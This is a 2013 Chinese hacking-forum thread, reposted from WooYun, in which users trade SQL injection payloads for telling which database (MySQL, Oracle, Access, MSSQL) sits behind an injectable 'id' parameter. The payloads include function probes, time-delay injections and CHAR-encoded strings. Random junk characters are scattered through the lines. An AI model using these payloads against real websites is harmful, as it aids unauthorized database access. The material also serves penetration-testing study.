找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2110|回复: 0
打印 上一主题 下一主题

一个注射点如何最快速确认是什么类型数据库

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-11 09:54:04 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
一个注射点如何最快速确认是什么类型数据库# E; X( t' e+ t4 t  X
xsser (十根阳具有长短!!) | 2013-02-05 12:36+ m  P1 |& a  q0 M
假设这么一个注射点:' V: `1 ]/ t" D
show.html?id=2
' s. y$ L1 j: D& e  o) e- R, jmysql:id=2 and version()>0; O9 w' Y! E; ~" ?
oracle:id=2 and '1'||'1'='11- b( v% r6 O( P. }1 S) k
其他的欢迎补充9 y, x) d( r( x4 o
1#
, [8 _6 P; M( u  \: ~& wupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
' [6 ~0 N9 v1 ]2 |( n$ V9 DAccess:
7 e6 g# _6 F. h  V% K4 LaNd aSc(cHr(97))=97
, n$ ~% u& M# {7 v6 L9 s& Pand exists(select id from MSysAccessObjects)6 E( D2 L7 s9 \6 q# T# q5 o
SQL Server:1 e  x3 y! f8 B) x% p
and exists(select id from sysobjects)! K) L1 R" f, ?- R1 v) F8 l4 U
and length(user)>0, P# |; B  J2 U) m9 u. Q3 }
MySQL:2 a2 b: W4 [) K9 D' n5 t
and length(user())>0
) @( i( D6 N) F) S0 v2#' L1 N1 ~& L4 k4 C- N
xsser (十根阳具有长短!!) | 2013-02-05 12:48
* ?8 l* z$ t  r@upload 如果这些都不是呢…
; V$ {4 _0 Y+ B& Z3 F3#
+ ~; B* D- @0 @0 Bupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03) m, f. |6 U0 q& S2 K6 b
@xsser 不快速的,延时注入
" |# [7 P* ^7 U) K2 M/ E5 T  Y5 Z不知道这样写对不对2 |% L4 Y. T& w8 \) E$ M, k
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'9 Q) t* w9 T( v! @! A  }
mysql:id=2 and select benchmark(1e8,current_date());
4 b& ~, ^4 }2 n. J4 B7 X  s4#
5 Z) V8 X4 }: {& z  m/ S. \upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
1 l7 `4 W$ n( c最快的貌似是看报错信息$ i$ C. ~2 c+ D: h. [& S: D
oracle error7 c# s: T' y) F
mssql error
- E3 L$ a9 v: |) m# s) Rmysql error8 t' D; C7 {: m
5#$ E. `$ h' C$ p: M) h
Nimda (你们都是坏银~) | 2013-02-05 13:14; l- ~0 p- k5 |' |0 V4 i
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)# G9 ^% D4 Y* Y, e
6#
: A! E. V0 X; l5 c# vupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
+ C5 ?) V! o2 {3 [4 W+ D+ O“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
# H3 P# p' [7 X3 z. a$ \# C“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
0 C' Q& R' s7 z# c“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
1 j) z2 ?9 o7 \- `2 G: M7#
* Y/ t1 |. y0 [1 G_Evil (HackEnd) | 2013-02-05 13:336 D5 y0 Y) \. E; \; P/ P6 `" n
PostgreSQL9 A" H" @) Z8 I1 B1 r$ a& ?
8#) K# f" R# ]6 j4 d
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42" r+ d% ]/ r7 w1 [1 V) r
切换编码 and 1=1) I9 `0 Y+ D& a( x2 A* w
oracle:
" R# z, x) ^( U: HCHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)5 \  o& U" P" O. x) o/ d6 T
mssql:  ^% y; w2 O* a$ G7 e: M
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)6 g. e& x6 ]9 y7 P
mysql:
0 g' P, r7 v' oCHAR(97, 110, 100, 32, 49, 61, 49)0 n$ S) S! t" J) ~
9#
) t9 W3 W( v( j  z# V% gxsser (十根阳具有长短!!) | 2013-02-05 14:31
+ l# t* u5 z* c# h@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?1 M( o" P1 H$ Y+ V, t3 {- |
10#
7 w+ E5 o0 @) ]upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:467 k. e; j3 C5 \% B& q. \
@xsser 是奇葩数据库类型的么?+ r- t' _5 X+ ^5 j' E: X% E2 E
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:! t" L2 M; j1 R4 _) ~. o
1.是否可以使用特定的函数来判断,该数据库特有的' ?6 U6 ?' I$ j" Q
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
' Y0 _. ]8 Y. Q- ~0 `# }  I3.是否可以编码查询
' l( D" }! ~% ~4.是否显可以利用错信息) ]1 U3 U9 ]2 G  ^
5.是否存在数据库某些特性辅助判断
5 f. F" }/ v8 U3 \8 F+ b个人见解3 [. `4 d/ U0 n- @0 c/ V
11#
9 H; @, G# r2 }* y2 C小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55" a; w$ |, W. ?  c" X+ Y
已收藏,mssql可以直接看到错误提示的吧~
, a+ v+ ^) Y8 y) d12#
9 ^- g, E3 k8 h2 @& n  YPasser_by | 2013-02-05 15:09
6 E% G2 x4 {- Y9 p% N% {" k曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
- w& T: R( d: [# A' j$ \from:http://zone.wooyun.org/content/260
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表